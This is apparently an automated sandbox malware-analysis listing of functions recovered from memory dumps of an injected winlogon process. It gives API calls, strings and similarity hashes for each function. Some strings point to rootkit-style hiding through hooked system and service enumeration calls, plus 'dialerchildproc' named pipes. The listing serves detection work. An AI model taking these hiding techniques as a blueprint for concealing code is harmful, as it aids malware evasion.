Function 000001E8589812BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001E858981319
GetProcessHeap.KERNEL32 ref: 000001E858981327
HeapAlloc.KERNEL32 ref: 000001E858981338
RegEnumValueW.ADVAPI32 ref: 000001E858981397

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

GetProcessHeap.KERNEL32 ref: 000001E8589813DF
HeapAlloc.KERNEL32 ref: 000001E8589813ED
GetProcessHeap.KERNEL32 ref: 000001E85898140A
HeapFree.KERNEL32 ref: 000001E858981418
lstrlenW.KERNEL32 ref: 000001E858981421
GetProcessHeap.KERNEL32 ref: 000001E85898142F
HeapAlloc.KERNEL32 ref: 000001E85898143D
StrCpyW.SHLWAPI ref: 000001E85898145F
GetProcessHeap.KERNEL32 ref: 000001E858981476
HeapFree.KERNEL32 ref: 000001E858981484

Strings

d, xrefs: 000001E85898135A

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: c2281e23739868d66036d4294d6c0683aafed4b8ecad6af3162b140505f798a1
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 4E512B36224BC5C6EB65DF62E54439EB7A2FB89BD9F044126DE4A07768EF38C0458B00

Function 000001E858981D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001E858981D1F

Part of subcall function 000001E858981FD4: GetModuleHandleA.KERNEL32 ref: 000001E858981FEC
Part of subcall function 000001E858981FD4: GetProcAddress.KERNEL32 ref: 000001E858981FFD

Part of subcall function 000001E858985B30: GetCurrentThreadId.KERNEL32 ref: 000001E858985B6B

Strings

ntdll.dll, xrefs: 000001E858981D2D
NtEnumerateKey, xrefs: 000001E858981DB9
advapi32.dll, xrefs: 000001E858981DF7, 000001E858981E18
NtQuerySystemInformation, xrefs: 000001E858981D45
NtDeviceIoControlFile, xrefs: 000001E858981E56
NtQueryDirectoryFileEx, xrefs: 000001E858981D9C
NtEnumerateValueKey, xrefs: 000001E858981DD6
NtQueryDirectoryFile, xrefs: 000001E858981D7F
NtResumeThread, xrefs: 000001E858981D62
sechost.dll, xrefs: 000001E858981E39
EnumServiceGroupW, xrefs: 000001E858981DF0
EnumServicesStatusExW, xrefs: 000001E858981E11, 000001E858981E32

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: eae4a35ccf18d1ff6c879c1ad54c2bd4091f653bf096b8bfe55e41d2011e4d15
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 35316074130ACBE0EA45EBA9EDA16ECF322FF84344F8050339C1D12565AF788289CB50

Function 000001E8589B6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E8589B6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001E8589B698A
_RTC_Initialize.LIBCMT ref: 000001E8589B69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589B69DE
__scrt_release_startup_lock.LIBCMT ref: 000001E8589B6A09

Strings

scriptor', xrefs: 000001E8589B6B39, 000001E8589B6BB2, 000001E8589B6BEC
`eh vector copy constructor iterator', xrefs: 000001E8589B6A3B
`dynamic initializer for ', xrefs: 000001E8589B69C7
`eh vector vbase copy constructor iterator', xrefs: 000001E8589B69EE

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 5a678c2123d8270ec6fb616ddb0a075a8484000318cf7b7c2c8d3db3c22f7b07
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2E818B316282C1CEFB92AB65D8413DDF6A0EF85B82F5481379E8D87796DF39E8458700

Function 000001E858956910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E858956938
__scrt_acquire_startup_lock.LIBCMT ref: 000001E85895698A
_RTC_Initialize.LIBCMT ref: 000001E8589569B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589569DE
__scrt_release_startup_lock.LIBCMT ref: 000001E858956A09

Strings

scriptor', xrefs: 000001E858956B39, 000001E858956BB2, 000001E858956BEC
`eh vector vbase copy constructor iterator', xrefs: 000001E8589569EE
`dynamic initializer for ', xrefs: 000001E8589569C7
`eh vector copy constructor iterator', xrefs: 000001E858956A3B

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: dbfcc5e9c0d96a37b9fd7991c7f30359c355952af576fe6994b0ae7cc5e7709f
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CB817B317352C1CAFA96AB66D8513DDF3A0AF85782F548037AE4D87796DF38C94A8700

Function 000001E85898CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001E85898CE37
FlsGetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE4C
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE6D
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE9A
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CEAB
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CEBC
SetLastError.KERNEL32 ref: 000001E85898CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001E85898ECCC,?,?,?,?,000001E85898BF9F,?,?,?,?,?,000001E858987AB0), ref: 000001E85898CF2C

Part of subcall function 000001E85898D6CC: HeapAlloc.KERNEL32 ref: 000001E85898D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF54

Part of subcall function 000001E85898D744: HeapFree.KERNEL32 ref: 000001E85898D75A
Part of subcall function 000001E85898D744: GetLastError.KERNEL32 ref: 000001E85898D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF76

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: f86b91cb66a3c6f8454f4038e5b621bb7ea2211ae881aec1b10a116c1fa3f1b4
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 96416E302312CAC6FAA8A735D5553FDF2425F847B8F541736AD3F476E7DE2888018A40

Function 000001E858982244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001E858982259
GetCurrentProcessId.KERNEL32 ref: 000001E858982263

Part of subcall function 000001E858981934: OpenProcess.KERNEL32 ref: 000001E858981952
Part of subcall function 000001E858981934: IsWow64Process.KERNEL32 ref: 000001E858981968
Part of subcall function 000001E858981934: CloseHandle.KERNEL32 ref: 000001E858981983

CreateFileW.KERNEL32 ref: 000001E8589822BC
WriteFile.KERNEL32 ref: 000001E8589822E4
ReadFile.KERNEL32 ref: 000001E858982303
CloseHandle.KERNEL32 ref: 000001E85898230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000001E85898228C
\\.\pipe\dialerchildproc32, xrefs: 000001E858982293

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 51a05a011626c34f84d443abd0de517d886d5e25bc20737c8bb9c705d9869c07
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: A5211D36624781C2EB109B25F5543ADB7A1FB89BE5F504226EE5E02AA8DF7CC149CF00

Function 000001E8589B9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E8589B99A1

Part of subcall function 000001E8589BA814: __GetUnwindTryBlock.LIBCMT ref: 000001E8589BA857
Part of subcall function 000001E8589BA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E8589BA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E8589B9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E8589B9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E8589B9DDA

Strings

csm, xrefs: 000001E8589B9A9C
csm, xrefs: 000001E8589B9A22
csm, xrefs: 000001E8589B99BB

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ea488144e67ee9814cb3c00e2a8ac0c782a2014a7bbb5d57e2db9a248e5ddb93
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: F4E18D72628BC1CAEB609F65D4813DDB7A4FB89B99F100126EE8D57B9ADF34C491C700

Function 000001E858959944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E8589599A1

Part of subcall function 000001E85895A814: __GetUnwindTryBlock.LIBCMT ref: 000001E85895A857
Part of subcall function 000001E85895A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E85895A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E858959A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E858959CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E858959DDA

Strings

csm, xrefs: 000001E8589599BB
csm, xrefs: 000001E858959A9C
csm, xrefs: 000001E858959A22

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ea3d8d01707ad5d94a13b4fba9cf6eb05f996a68f408e0993dfcc1eae4dccdcf
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: AFE16972624B81CAFB609B65E4813DDB7A4FF85B99F100126EE8D57B9ACF34C591CB00

Function 000001E85898A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E85898A5A1

Part of subcall function 000001E85898B414: __GetUnwindTryBlock.LIBCMT ref: 000001E85898B457
Part of subcall function 000001E85898B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E85898B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E85898A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E85898A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E85898A9DA

Strings

csm, xrefs: 000001E85898A69C
csm, xrefs: 000001E85898A5BB
csm, xrefs: 000001E85898A622

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: fb0b219c5a3f278c8c4be7db907598bc1cd6189e151ec6c18a9f6efa96547db1
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 48E15A73624B82CAEB609B65D4803DDB7E0FB55798F140126EE8D57B99CF38D481CB02

Function 000001E85898F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001E85898F510
GetProcAddress.KERNEL32 ref: 000001E85898F51C

Strings

api-ms-, xrefs: 000001E85898F45A
ext-ms-, xrefs: 000001E85898F46D

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 44c234c9404ffe7b5e1619124c70eb274fb59fe55c9541b10c09b14d45380197
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2C410032331A92C1EA16DB66E8087DEB391FF49BE0F19513B9D0E97786EE38C4458700

Function 000001E85898104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001E8589810B1
RegEnumValueW.ADVAPI32 ref: 000001E858981117
GetProcessHeap.KERNEL32 ref: 000001E85898115A
HeapAlloc.KERNEL32 ref: 000001E858981168
GetProcessHeap.KERNEL32 ref: 000001E858981185
HeapFree.KERNEL32 ref: 000001E858981193

Strings

d, xrefs: 000001E8589810D6

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 9981850cc48d31037741c2cded26c72f9a92758d62ae1b8330bcbb02fb765734
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 5F414F73224BC4C6E760DF61E44479EB7A1F789B98F44812ADE8A07B58DF38C585CB40

Function 000001E85898D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D087
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0A6
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0CE
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0DF
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0F0

Strings

1%, xrefs: 000001E85898D0CE
Y%, xrefs: 000001E85898D0A6

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 9c311fea4b2fa3c9ab43cbea4d372c8830d6ac0f2b4a448fbd82eec820a9dce2
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: A8110A717242C6C1FA68AB25D9513FDF1416FC47F0F546336AC3E476EADE68C4028A00

Function 000001E858987510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E858987538
__scrt_acquire_startup_lock.LIBCMT ref: 000001E85898758A
_RTC_Initialize.LIBCMT ref: 000001E8589875B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589875DE
__scrt_release_startup_lock.LIBCMT ref: 000001E858987609

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f82d139e0262af235c5c503c080292d7917c2a0aa74f472ae0aed1caa77cd681
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 5F816B396202C3EAFB50AB65E8813EDF691AF85780F544437AD0DA7796EE38C8458F11

Function 000001E858989DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001E858989E49
GetLastError.KERNEL32 ref: 000001E858989E57
LoadLibraryExW.KERNEL32 ref: 000001E858989E81
FreeLibrary.KERNEL32 ref: 000001E858989EC7
GetProcAddress.KERNEL32 ref: 000001E858989ED3

Strings

api-ms-, xrefs: 000001E858989E69

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: ed1d6103eff1dcc676994d656ad2f911c5872803e8dc8710478f2b646a537078
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: F831A4313226C2E2EE229B42E4407EDB694BF48BA0F5905379D5E47792EF39C4658B10

Function 000001E858993DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001E858993DE5
GetLastError.KERNEL32 ref: 000001E858993DF1
CloseHandle.KERNEL32 ref: 000001E858993E09
CreateFileW.KERNEL32 ref: 000001E858993E34
WriteConsoleW.KERNEL32 ref: 000001E858993E53

Strings

CONOUT$, xrefs: 000001E858993E15

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 848c5f808f98b7fe64fe1be9f14dffa162bf3ffb4f70aadf000dfa4e6251c1b3
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: C6115B31320AC0C6E7619B56E84439DB6A1FB88FE4F444226EE5E877A4DF38C8148744

Function 000001E858982F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E858982F27
HeapAlloc.KERNEL32 ref: 000001E858982F3A
StrCmpNIW.SHLWAPI ref: 000001E858982FAF
GetProcessHeap.KERNEL32 ref: 000001E858983015
HeapFree.KERNEL32 ref: 000001E858983023

Strings

dialer, xrefs: 000001E858982FA8

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: c1fd6422857e38418c878c4cd41444f40647f04957361f5aedf899a272e96910
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 22315A32721B92C2EA15DF96E5407ADF7A1BF44B84F0841329E4D47B59EF38C4A1CB00

Function 000001E85898CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001E85898CFAF
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898CFE5
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D012
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D023
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D034
SetLastError.KERNEL32 ref: 000001E85898D04F

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: cd1afe50f7e6de5fdb75e3b85d99f54b8b5774328d87a634973043da6fa4d35a
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 061159312212C6C2FA69A721D5953BDF2426F887F4F141736AC3F876EADE6884018A00

Function 000001E85898199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001E8589819C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001E8589819E0
PathFindFileNameW.SHLWAPI ref: 000001E8589819EF
lstrlenW.KERNEL32 ref: 000001E8589819FB
StrCpyW.SHLWAPI ref: 000001E858981A0E
CloseHandle.KERNEL32 ref: 000001E858981A1C

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 60db19895ce507a708008e45d9c0298ffec254aa5bc9d4092071c0d004566a38
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 28011731320AC1C2EB64DB52E89879DB3A6FB88BC4F884036DE5E53755DE38C989C740

Function 000001E8589836C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001E8589836E4
GetCurrentProcess.KERNEL32 ref: 000001E8589836F2
VirtualProtectEx.KERNEL32 ref: 000001E858983714
GetCurrentProcess.KERNEL32 ref: 000001E858983732
VirtualProtectEx.KERNEL32 ref: 000001E858983753
TerminateThread.KERNEL32 ref: 000001E858983762

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
